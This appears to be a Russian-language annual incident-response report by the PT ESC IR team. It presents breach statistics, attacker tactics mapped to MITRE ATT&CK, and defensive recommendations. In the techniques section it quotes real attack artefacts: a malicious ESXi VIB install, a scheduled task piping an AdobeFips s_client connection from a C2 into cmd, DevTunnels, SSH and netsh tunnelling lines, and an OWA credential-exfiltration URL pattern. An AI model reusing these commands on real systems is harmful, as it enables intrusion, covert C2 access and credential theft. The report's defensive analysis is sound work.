Итоги проектов по расследованию инцидентов и ретроспективному анализу — 2024–2025

В этом аналитическом отчете мы подведем итоги работы PT ESC IR за период с IV квартала 2024-го по III квартал 2025 года.

Напомним, что итоги работы за предыдущий период (с IV квартала 2023-го по III квартал 2024 года) можно найти по ссылке.

Наша первая аналитика (за 2021-2023 годы) доступна по ссылке.

За отчетный период команда выполнила больше 100 проектов по расследованию и ретроспективному анализу по всему миру. В отчете представлены ключевые цифры, тренды и практические выводы.

• Спрос на проекты по расследованию инцидентов и ретроспективному анализу остается стабильно высоким, однако изменилось их соотношение: за расследованием инцидентов заказчики обращались на 8% реже (здесь и далее — по сравнению с предыдущим отчетным периодом), за ретроспективным анализом — в 2 раза чаще.
• Распределение по отраслям компаний также поменялось: если годом ранее к нам чаще всего обращались промышленные предприятия (23%) и государственные учреждения (22%), то теперь первое место по количеству обращений разделяют IT-компании и госучреждения (24%). Такой рост можно связать с тем, что зачастую они являются подрядчиками многих крупных организаций, и компрометация одного IT-провайдера может привести к компрометации многих его клиентов. Доля обращений компаний промышленного сектора уменьшилась до 9%.
• Медианное значение времени от начала инцидента до обнаружения нелегитимной активности (TTD) составило 9 дней (уменьшилось на 8 дней). Медиана длительности инцидента — 9 дней (уменьшилась на 14 дней). Самый продолжительный инцидент, выявленный в ходе расследования, длился почти 3,5 года, а длительность самого короткого инцидента составила одни сутки.
• Мы также отмечаем наличие инцидентов, в которых злоумышленники опубликовали информацию о том, что компания была взломана и у нее были украдены данные, а на деле структура опубликованных данных не соответствовала какой-либо известной ИС заказчика и следов взлома также не было найдено.
• В 43% компаний были выявлены следы присутствия известных APT-группировок, а в 22% организаций злоумышленники (в основном, из категории Cybercrime) совершали успешные действия, направленные на шифрование либо уничтожение информации и нарушение бизнес-процессов.
• В 36% случаев исходной точкой проникновения были бизнес-приложения на сетевом периметре. Кроме того, по нашим наблюдениям, реже стали эксплуатировать уязвимости CMS «Битрикс». Доля атак с использованием доверительных отношений с подрядчиками (trusted relationship) увеличилась и составила 28%.
• По сравнению с предыдущим периодом выросла (с 50% до 55%) доля проектов, в которых инцидент привел к нарушению внутренних бизнес-процессов.
• В числе наиболее распространенных причин, по которым компании становились жертвами кибератак, — недостаточная сегментация сети (26%), использование устаревших версий ОС и ПО (25%), отсутствие двухфакторной аутентификации (23%).

Основной объем работ PT ESC IR в период с IV квартала 2024-го по III квартал 2025 года по-прежнему составили проекты по расследованию инцидентов, при этом доля ретроспективного анализа выросла: на него пришлось 20% работ, что в 2 раза больше по сравнению с предыдущим отчетным периодом.

Спрос на проекты по расследованию инцидентов остается по-прежнему высоким. За первые три квартала 2025 года, по сравнению с предыдущим годом, количество проектов увеличилось на 10 п.п. Мы также наблюдаем общий прирост проектов на 11 п.п. в 2024 календарном году по сравнению с 2023-м.

Мы выделяем следующие основные причины, по которым компании обращаются к нам за помощью в расследовании инцидентов:

1. Компанией самостоятельно выявлена (например, при помощи имеющихся СЗИ или продуктов Positive Technologies) подозрительная или явно вредоносная активность в инфраструктуре либо получено оповещение на основе информации от экспертов PT ESC (специалисты Threat Intelligence / SOC). Подозрительная активность — самая распространенная причина обращений — 61% случаев (+9 п. п. по сравнению с предыдущим отчетным периодом).
2. Компания получила сообщение с требованием выкупа за восстановление данных, либо сотрудники не смогли получить доступ к ресурсам из-за шифрования или уничтожения данных. За прошедший год доля таких обращений снизилась на 5 п. п. — с 37% до 32%.
3. Злоумышленники сделали публичное заявление о проникновении во внутреннюю сеть компании либо опубликовали похищенные у нее конфиденциальные сведения на своих DLS-ресурсах или на теневых площадках для продажи данных. Доля таких обращений практически не изменилась: было 9%, стало 11%.

Четверть (ровно 25%) всех обращений в PT ESC IR за отчетный период пришлась на четверг. Следующий по популярности день — пятница (23%). Это может говорить о том, что ряд компаний откладывают расследование инцидентов на конец недели, упуская потенциальную возможность локализовать инцидент с минимальными последствиями для организации.

С другой стороны, наиболее ранние следы атак злоумышленников, которые были выявлены экспертами PT ESC IR на основе материалов, предоставленных заказчиками, чаще всего приходились на вторник (22%) и среду (20%). Потенциально это может говорить, в частности, о том, что в PT ESC IR обращаются в случаях атак киберпреступных группировок, у которых есть своя «рабочая неделя».

Во время работ по расследованию инцидентов и ретроспективному анализу специалисты PT ESC IR собирают и обрабатывают информацию со множества узлов под управлением Windows, Unix и macOS. Почти в четверти проектов (23%) была собрана и проанализирована информация более чем с сотни узлов, в 5% — более чем с тысячи.

Чаще всего в ходе расследования используется следующая информация (в порядке убывания частоты предоставления клиентами):

• данные, полученные в процессе live response (triage),
• журналы СЗИ,
• образы узлов,
• журналы сетевого трафика,
• образцы ВПО,
• журналы DNS-серверов,
• журналы веб-серверов,
• данные об инциденте, собранные заказчиком самостоятельно,
• образцы сетевого трафика,
• журналы VPN-соединений,
• журналы СУБД,
• конфигурации сетевого устройства.

Чаще всего нам предоставляют наборы данных, собранные в процессе триажа нашим инструментом PT Dumper (61%), что в разы ускоряет процесс расследования и реагирования. Нам также нередко предоставляют журналы СЗИ (23%), особенно на начальных стадиях расследования. Отдельно мы отмечаем рост числа проектов, на которых исходной точкой проникновения в инфраструктуру заказчика выступали сетевые устройства — в этих случаях специалисты PT ESC IR анализировали их конфигурации и соответствующие результаты триажа.

В ряде случаев возникала необходимость анализировать журналы «1С», например, когда злоумышленники использовали 1C_shell для выполнения произвольного кода через «1С». Так как подобные атаки редко оставляют очевидные следы, для их расследования мы прибегаем к анализу журналов регистрации событий «1С».

Наиболее часто за услугами PT ESC IR обращались IT-компании (24%) и госучреждения (24%). Рост числа обращений IT-компаний можно связать с тем, что они являются подрядчиками многих крупных организаций и компрометация одного IT-провайдера может привести к компрометации многих его клиентов.

Из числа наших заказчиков 16% компаний входит в рейтинг крупнейших компаний России по объему реализации продукции RAEX-600.

Среднее время с момента проникновения злоумышленников в инфраструктуру до их локализации составило 9 дней (медианное значение, длительность инцидента). Самая продолжительная вредоносная активность, выявленная в ходе расследования, длилась почти 3,5 года, а самый короткий инцидент — одни сутки.

В некоторых случаях, когда специалистов PT ESC IR привлекают к реагированию на инцидент, злоумышленник еще находится в инфраструктуре и может совершать деструктивные действия в отношении обрабатываемой в ней информации. В таких ситуациях на первый план выходит оперативное сведение инцидента к контролируемой фазе. Считается, что инцидент находится в контролируемой фазе с момента, когда злоумышленники не могут причинить дальнейшего вреда инфраструктуре, не имеют возможности взаимодействовать с собственной сетевой инфраструктурой и распространяться по внутренней сети компании.

После сведения инцидента к контролируемой фазе эксперты PT ESC IR проводят стандартные работы: восстанавливают максимально подробно хронологию инцидента и уточняют его масштабы — определяют все затронутые узлы, учетные записи и т.д.

Обычно выделяют следующие временные характеристики инцидентов:

• TTD (Time to Detect) — время от начала инцидента до обнаружения специалистами заказчика нелегитимной активности;
• TTC (Time to Contain) — время от начала реагирования до момента сведения инцидента к контролируемой фазе;
• TTR (Time to Response) — время от начала расследования до завершения работ по проекту, связанных с расследованием.

В 43% компаний были выявлены следы присутствия известных APT-группировок в тот или иной период времени.

В 22% компаний были выявлены злоумышленники, которых мы отнесли к категории Cybercrime. В эту категорию мы объединили атаки, направленные преимущественно на совершение деструктивных действий (шифрование, уничтожение) в отношении информации и бизнес-процессов компаний.

Важно отметить, что однозначно идентифицировать атакующих не всегда представляется возможным. Так, в 26% компаний были выявлены следы публично не идентифицированных злоумышленников. Распределение жертв выявленных атак по отраслям представлено на рисунке 11.

За рассматриваемый период эксперты PT ESC IR при расследовании инцидентов выявили следы 17 известных APT-группировок, идентифицированных на основе используемых инструментов и ВПО, сетевой инфраструктуры, тактик и техник. Полный список группировок представлен в таблице 1.

В одном из случаев злоумышленники централизованно развернули и запустили уникальный вайпер на узлах виртуализации VMWare ESXi и применяли для этого пакеты VIB (VMware Installation Bundle). Установка пакета происходит при помощи стандартных инструментов управления ESXi: локально/удаленно (когда VIB лежит в локальном хранилище или доступен по URL).

esxcli software vib install --viburl=/path/to/file.vib

или через PowerCLI/vCenter, например

Connect-VIServer -Server vcenter.local

$esx = Get-VMHost -Name "esx01.local"

Install-VMHostPatch -VMHost $esx -HostPath "http://yourhost/path/file.vib"

Пример вредоносного VIB-пакета:

<vib version="5.0">
 <type>bootbank</type>
 <name>pack1</name>
 <version>1.26.13</version>
 <vendor>VMWare</vendor>
 <summary></summary>
 <description></description>
…
 <file-list>
   <file>sbin/backup.sh</file>
   <file>sbin/dees</file>
   <file>sbin/acfb20.sh</file>
 </file-list>
 <acceptance-level>community</acceptance-level>
…
</vib>

Многие злоумышленники предпочитают использовать встроенные в систему легитимные инструменты living off the land (LOLBins, LOL binaries). Каталоги примеров — на страницах проектов LOLBAS и GTFOBins.

Основные примеры использования таких инструментов уже были рассмотрены в предыдущем исследовании. В этот раз мы хотим поделиться более свежими и экзотичными примерами.

Так, злоумышленники использовали легитимный инструмент для туннелирования сетевого трафика DevTunnels для соединения с управляющей инфраструктурой. ВПО PlugX прослушивало локальные сетевые порты 53 и 5355, а при помощи DevTunnels открывался обратный туннель до C2 через инфраструктуру Microsoft. Пример использования:

C:\\WINDOWS\\system32\\Devtunnel.exe host [REDACTED]

В другом случае злоумышленники использовали компонент AdobeFips, входящий в состав Adobe Acrobat Reader, для установления соединения с контролирующим сервером. Он является подлинной версией клиента OpenSSL, подписанной компанией Adobe. Вот фрагмент вредоносной задачи, использующей этот инструмент:

<Actions Context="NetworkService">
    <Exec>
      <Command>%windir%\system32\speech_onecore\common\SpeechModelDownload.exe</Command>
    </Exec>
    <Exec>
      <Command>%COMSPEC%</Command>
      <Arguments>/c "%PROGRAMFILES%\Adobe\Acrobat DC\Acrobat\OSSLLibs\AdobeFips.exe" s_client -quiet [REDACTED]|cmd</Arguments>
    </Exec>
  </Actions>

В одном из инцидентов нам встретилась вот такая нестандартная конфигурация SSH-профиля общедоступного SSH-клиента OpenSSH:

Host version
Hostname [REDACTED]
User [REDACTED]
Port 443
ServerAliveInterval 60
ServerAliveCountMax 15
RemoteForward 46033
StrictHostKeyChecking no
SessionType None

В этом примере используется подключение по протоколу HTTPS (порт 443), отключена проверка и запись в файл с известными узлами (known_hosts). Таким образом можно получить соединение без вывода предупреждения о ключах и по нестандартному порту. Более того - в совокупности с названием хоста, конфигурация позволяла злоумышленникам подключаться к С2 через относительно невинную на первый взгляд команду:

ssh version

В дальнейшем, подобные манипуляции позволили злоумышленникам установить сетевой туннель средствами OpenSSH (более подробно подобные примеры можно изучить в нашей статье).

Ранее мы делились способом проксирования портов при помощи утилиты netsh, что тоже может быть использовано для перенаправления трафика на управляющие сервера злоумышленников:

netsh interface portproxy add v4tov4 listenport=7000 connectaddress=example.com connectport=443 protocol=tcp

Кроме ВПО и встроенных в систему легитимных инструментов, злоумышленники по-прежнему активно используют общедоступные утилиты. Мы разметили это ПО на тепловой карте согласно тактикам MITRE ATT&CK, отразив частоту их выявления в проектах (см. рисунок 13).

В этом разделе мы рассмотрим часто используемые и наиболее значимые техники атак в терминах MITRE ATT&CK Matrix for Enterprise (версия 15.1) — в тексте даны ссылки на их подробное описание. Для некоторых подтехник приведены практические примеры (идентификаторы указаны в скобках, например T1566.001). Для удобства процесс атаки разбит на десять условных логических этапов, соответствующих тактикам MITRE ATT&CK (рисунок 14).

На второе место по частоте эксплуатации (28%) вышли доверительные отношения (trusted relationship) — это проникновение в инфраструктуру целевой организации через компанию подрядчика. Можно связать популярность этого исходного вектора с ростом атак на IT-компании, компрометация которых зачастую может приводить к компрометации их клиентов.

В 11% случаев злоумышленники получали первоначальный доступ через доступные из интернета службы, такие как VPN, RDP или SSH (External Remote Services).

Еще в 17% случаев исходным вектором проникновения стали рассылки фишинговых писем (Phishing). В частности, использовалась уязвимость CVE-2017-11882 (RCE в Microsoft Equation Editor) в специально подготовленном пользовательском документе.

В качестве примера можем привести следующую атаку: злоумышленники проникли в инфраструктуру заказчика через фишинговое письмо с ZIP-вложением, внутри которого был LNK-файл. При его открытии запускался отвлекающий документ и интерпретатор Node.js с полезной нагрузкой. В результате на cкомпрометированном хосте был развернут DNS-туннель для связи с инфраструктурой атакующих.

Другой пример: злоумышленники создали обращение в системе Zendesk, к которому приложили ссылку на вредоносный файл, впоследствии запущенный специалистом техподдержки. Атакующие скомпрометировали учетные данные, с помощью которых, предположительно, получили доступ к CRM. В CRM злоумышленники изменили email одного из пользователей, получили код подтверждения для восстановления учетной записи, с использованием которой зашли в личный кабинет и списали деньги со счета одного из пользователей.

В этом году отмечается рост числа инцидентов, в которых наблюдалась компрометация сетевых устройств, зачастую с устаревшими прошивками или небезопасными настройками. Их доля составила 8%. Так, в одном из наших расследований злоумышленникам удалось скомпрометировать ряд сетевых маршрутизаторов Cisco, публично доступных из интернета. Эта атака стала возможной из-за недостатка в конфигурации протокола SNMPv2 (настройка SNMP Community, обеспечившая режим доступа для всех устройств на чтение и запись в несуществующий список доступа, что позволило злоумышленникам получить доступ по стандартному паролю). Злоумышленники использовали нативные возможности Cisco IOS для настройки GRE-туннелирования, активной разведки сетевых устройств, создания привилегированных локальных учетных записей, попыток выгрузки данных с сервера резервных копий. Для сокрытия следов вредоносной активности злоумышленники использовали уникальные EEM-апплеты, сбрасывающие конфигурацию устройства по триггеру легитимных команд. В результате злоумышленники смогли получить контроль над частью сетевого трафика (в частности, почтового: SMTP/POP3/IMAP) и добиться перенаправления данных через свои туннели.

В некоторых случаях злоумышленники используют несколько точек проникновения в инфраструктуру, например, если изначально выбранный вектор не позволяет им повысить привилегии и (или) продолжить продвижение по инфраструктуре.

Еще один интересный пример закрепления — при помощи Docker-контейнера. Злоумышленники модифицировали образ, добавив копирование вредоносного скрипта и его запуск. Сам скрипт, в свою очередь, загружал с управляющего сервера ВПО, выдавал ему права на исполнение, прописывал в автозагрузку и в конце самоуничтожался. В рассмотренном случае образ был помещен в локальный реестр образов, что обеспечило автоматическое распространение ВПО и его запуск на новых контейнерах.

Примеры образцов ВПО в слоях Docker-контейнера:
 

/var/lib/docker/overlay2/[REDACTED]/diff/usr/bin/processes
/var/lib/docker/overlay2/[REDACTED]/diff/usr/bin/checks

Уже долгое время наиболее распространенным инструментом для похищения учетных данных остается утилита Mimikatz (и ее модификации): она встречается почти в половине (49%) проектов. На втором месте по частоте использования для получения учетных данных —утилита ProcDump (10% проектов). Эта утилита входит в состав общедоступного пакета SysInternals и используется злоумышленниками для создания дампов памяти привилегированных процессов (в частности, lsass для дальнейшего извлечения аутентификационных данных).

В уже упомянутом расследовании злоумышленники модифицировали inline-скрипт OWA flogon.js, подменяя обработчик кнопки входа clkLgn так, чтобы в момент авторизации он перехватывал введенные логины и пароли и отправлял их на управляющий сервер (например, через https://[C2]/?key1=smthuser&key2=smthpassword) или записывал в доступный по сети журнал (check.aspx → log.png), в результате чего было похищено около 650 учетных записей, при этом злоумышленники подменяли временные метки, чтобы скрыть следы вредоносной активности.

Нередки случаи частичного или полного удаления злоумышленниками содержимого системных журналов, как нативными средствами, так и с использованием отдельных утилит, в частности ADVANCED LOGWIPER, для затруднения последующего forensic-анализа скомпрометированных узлов (T1070.001/T1070.002).

Чтобы остаться незамеченными, для разведки злоумышленники широко используют техники living off the land, то есть штатные команды и утилиты ОС: whoami, net, nslookup, ipconfig и т. п.

Злоумышленники используют как специализированные средства для управления узлами, перечисленные выше, так и не предназначенные для этого напрямую инструменты, например Google Sheets API. В частности, к Google Sheets API обращалась полезная нагрузка ВПО APT-группировки CloudAtlas: в столбец А записывалось время, УЗ и имя скомпрометированного хоста, а из столбца B, если он был непустым, считывалась зашифрованная команда. Далее применялся PowerShell-загрузчик, который загружал закодированные XML. Для загрузки и исполнения модулей использовалась техника DLL Sideloading (внедрение вредоносной DLL в процесс CiscoCollabHost.exe). В итоге внедрялся Cloud Atlas backdoor, работающий в оперативной памяти скомпрометированного узла и загружающий с «Яндекс Диска» вредоносные модули для кибершпионажа и кражи конфиденциальной информации.

В контексте сбора данных злоумышленников интересуют выгрузки из БД, создание их резервных копий (HeidiSQL, pgdump, pgAdmin, SQL Plus), побайтовое копирование данных с дисков (RawCopy), копирование заблокированных на «живой» системе файлов (ShadowSpawn) потенциально в целях извлечения аутентификационных данных, а также извлечение данных из резервных копий Veeam (Veeam Backup Extract).

Кроме того, мы продолжаем фиксировать случаи получения злоумышленниками содержимого директории tdata, что позволяет заходить в аккаунт Telegram. Более подробно с темой можно ознакомиться в нашем Telegram-канале, а c конкретными рекомендациями — в нашем блоге на Хабре.

По итогам анализа сетевых индикаторов мы собрали статистику по наиболее используемым ASN и их географии и составили топ VPN-сервисов, применяемых злоумышленниками (рисунок 17). К числу наиболее часто встречающихся ASN относятся AS15440 UAB Baltnetos komunikacijos и AS9009 M247 Europe SRL, а в топ VPN-сервисов вошли Mullvad и Proton VPN.

Высокая доля российских IP в выборке ниже по-прежнему обусловлена тем, что многие организации блокируют заграничные IP и атакующие, как следствие, арендуют адреса в российских дата-центрах.

Основываясь на опыте последних расследований, мы выделили набор директорий, где чаще всего размещались инструменты злоумышленников.

Для устройств под управлением Linux это преимущественно директории, в которых обычно находятся и легитимные исполняемые файлы. Однако директории, перечисленные в нашем прошлом исследовании, также могут быть использованы злоумышленниками.

Для устройств под управлением Windows это преимущественно системные директории.

Для устройств под управлением Windows это преимущественно системные директории.

По сравнению с предыдущим отчетным периодом доля проектов, в которых инцидент привел к нарушению внутренних бизнес-процессов, увеличилась с 50% до 55%. Под нарушением бизнес-процессов мы понимаем невозможность работы в результате полного или частичного шифрования части инфраструктуры, недоступности критически значимого сервиса.

В ходе каждого четвертого проекта (25%) были выявлены следы выгрузки конфиденциальной информации.

Наиболее разрушительной атакой за наблюдаемый период стала операция группировки OldGremlin, которая сумела зашифровать большую часть географически распределенной инфраструктуры, парализовав работу заказчика на несколько рабочих дней. Так как зашифрованы были почти все хосты инфраструктуры, одним из основных источников информации выступили восстановленные с зашифрованных виртуальных дисков данные.

По мере продвижения по инфраструктуре в каждой пятой компании (21%) злоумышленники скомпрометировали как минимум один контроллер домена. Получив доступ к контроллеру домена, злоумышленники могут развивать атаку, например распространять вредоносное ПО на узлы при помощи глобальных политик Windows или получить аутентификационные данные для всех пользователей домена.

Кроме того, злоумышленников интересуют внутренние информационные системы — базы данных, внутренние порталы, справочные системы. Доля компрометации таких систем составила 19%.

На этапе продвижения по сети атакующих также интересуют серверы централизованного управления СЗИ (11%). Они обладают широкой видимостью сети, имеют привилегированные учетные записи и поэтому зачастую используются злоумышленниками, например для массового распространения и запуска шифровальщиков. В равной степени (11%) злоумышленников интересуют системы виртуализации, управляя которыми можно удалить имеющиеся виртуальные машины, а также почтовые серверы Microsoft Exchange.

Атакующие активно скрывают следы, а часть артефактов может быть утрачена из-за ротации логов или перезагрузки узлов. Поэтому не всегда удается точно назвать число затронутых систем. В среднем в половине случаев (55%) компрометация охватывает менее десяти узлов и менее пяти учетных записей. Однако при взломе контроллера домена или УЗ администратора домена под угрозой оказываются все соответствующие пользователи.

Как и прежде, чаще всего злоумышленники атаковали узлы под управлением Windows. Мы также видим, что в достаточно большой части атак злоумышленникам приходилось работать в гибридных инфраструктурах, в которых есть как узлы под управлением Windows, так и узлы под управлением различных ОС семейства Linux.

Кроме того, мы отмечаем увеличение случаев компрометации ОС сетевого оборудования, в частности Cisco IOS. В одном из случаев исходным вектором проникновения в компанию послужили сетевые устройства Juniper (включая эксплуатацию CVE-2023-36845), после чего злоумышленники продвинулись по сегментам сети, скомпрометировав серверы «1C» и VMWare ESXi.

За прошедший отчетный период мы отмечаем рост числа запросов на исследование мобильных устройств. Наиболее популярными были запросы на исследование образцов банковских троянов на Android, распространяемых в Telegram в виде файлов CBO-Information.apk, Видео.apk, Фото.apk. Было установлено, что файлы относятся к ВПО, детектируемому как Mamont.

Почти в каждом четвертом проекте (26%) мы наблюдали недостаточную сегментацию сети инфраструктуры заказчика. К наиболее частым причинам инцидентов мы также относим использование устаревших версий ОС и ПО, в частности на узлах сетевого периметра, и отсутствие выстроенного процесса их обновления (25%).

В 23% проектов успеху атакующих способствовало отсутствие двухфакторной аутентификации на узлах. Важно отметить, что в некоторых случаях двухфакторная аутентификация могла бы усложнить атаку через организацию подрядчика и увеличить вероятность обнаружения атаки на ранних этапах.

В 21% случаев мы отмечали отсутствие или недостаточно эффективную настройку антивирусных СЗИ.

В нашем прошлом отчете мы уже делились рекомендациями по предотвращению и снижению количества инцидентов кибербезопасности. Как показывает практика, эти рекомендации продолжают оставаться актуальными.

Наш анализ актуальных угроз показывает ежегодный рост активности атак и, как следствие, увеличение числа проектов по расследованию и ретроспективному анализу. Практика демонстрирует: многие инциденты можно было предотвратить или остановить раньше, если бы были соблюдены базовые принципы кибербезопасности.

В первую очередь мы рекомендуем провести инвентаризацию инфраструктуры и IT-процессов и расставить приоритеты в соответствии с рисками — от локального инцидента до потери контроля над всей системой. Максимальное внимание следует уделять узлам с наибольшим потенциалом ущерба, например серверам с централизованными системами управления инфраструктурой, доменным контроллерам и иным критически значимым ресурсам. Для таких систем необходим усиленный контроль доступа, регулярное обновление, мониторинг и резервирование, так как их компрометация оказывает наибольшее влияние на организацию. Наши основные рекомендации:

• Использовать актуальные версии ОС и прикладных программ (в том числе СЗИ), выстроить процессы, связанные с управлением уязвимостями и их устранением. Отслеживать трендовые уязвимости на активах и установить SLA по их устранению — 24 часа.
• Внедрить двухфакторную аутентификацию для всех публично доступных сервисов (VPN, электронная почта и т. д.), а также для всех административных учетных записей в корпоративной сети.
• Сегментировать сеть и ограничить доступ между сегментами в соответствии с вашими бизнес-процессами. Ограничить взаимодействие внутри сегментов с помощью межсетевого экрана на узлах по необходимым портам и сервисам.
• Наладить процесс регулярного создания резервных копий критически значимых ресурсов и обеспечить их хранение изолированно от основной инфраструктуры. Придерживаться правила «3-2-1» при организации процесса резервного копирования данных.
• Обеспечить защиту конечных точек, в частности уделить больше внимания антивирусной защите. Необходимо, чтобы антивирусные средства защиты были установлены на всех ключевых серверах и рабочих станциях и функционировали в режиме постоянного мониторинга. Кроме того, рекомендуем внедрить антивирусные решения нескольких вендоров, способных обнаруживать скрытое присутствие вредоносных программ и позволяющих выявлять и блокировать вредоносную активность в различных потоках данных: в почтовом, сетевом и веб-трафике, в файловых хранилищах, на веб-порталах.
• Регулярно проводить аудит периметра инфраструктуры как на предмет уязвимостей, так и на предмет неиспользуемых общедоступных сервисов.
• Не хранить чувствительные данные в открытом виде. При хранении файлов с конфиденциальной информацией рекомендуется использовать зашифрованные разделы или контейнеры, для доступа к которым используются стойкие пароли. Для хранения и использования учетных данных рекомендуется использовать менеджер паролей.
• Установить требования к минимальной сложности паролей, исключающие возможность использования словарных комбинаций. Внедрить защиту учетных данных с помощью Credential Guard.
• Организовать централизованный сбор и долговременное (не менее 1 года) хранение журналов событий, в том числе журналов контроллеров домена, СЗИ, VPN, DNS и прокси-серверов.

Мы настоятельно советуем использовать современные средства и технологии защиты информации, которые доказали свою эффективность в борьбе с киберпреступниками. В их числе:

• системы управления информацией и событиями безопасности (security information and event management, SIEM);
• системы поведенческого анализа сетевого трафика (network traffic analysis, NTA);
• межсетевые экраны для глубокой фильтрации трафика (next generation firewall, NGFW);
• средства защиты веб-приложений (web application firewall, WAF);
• изолированные среды для анализа вредоносных объектов (sandbox, песочницы);
• решения для обнаружения и реагирования на события, связанные с вредоносной активностью на конечных узлах (endpoint detection and response, EDR), и их современные расширенные версии (extended detection and response, XDR);
• системы контроля привилегированных учетных записей (privileged access management, PAM).

Чтобы быть в курсе актуальных киберугроз, знать о современных техниках и инструментах злоумышленников, рекомендуем изучать публикации экспертов PT ESC Incident Response, обращать внимание на посты других команд PT ESC в Telegram-канале ESCalator, а также читать наши регулярные аналитические отчеты, посвященные ландшафту киберугроз и трендовым уязвимостям. Эта информация поможет вам быть на шаг впереди киберпреступников и ускорить реагирование на инциденты.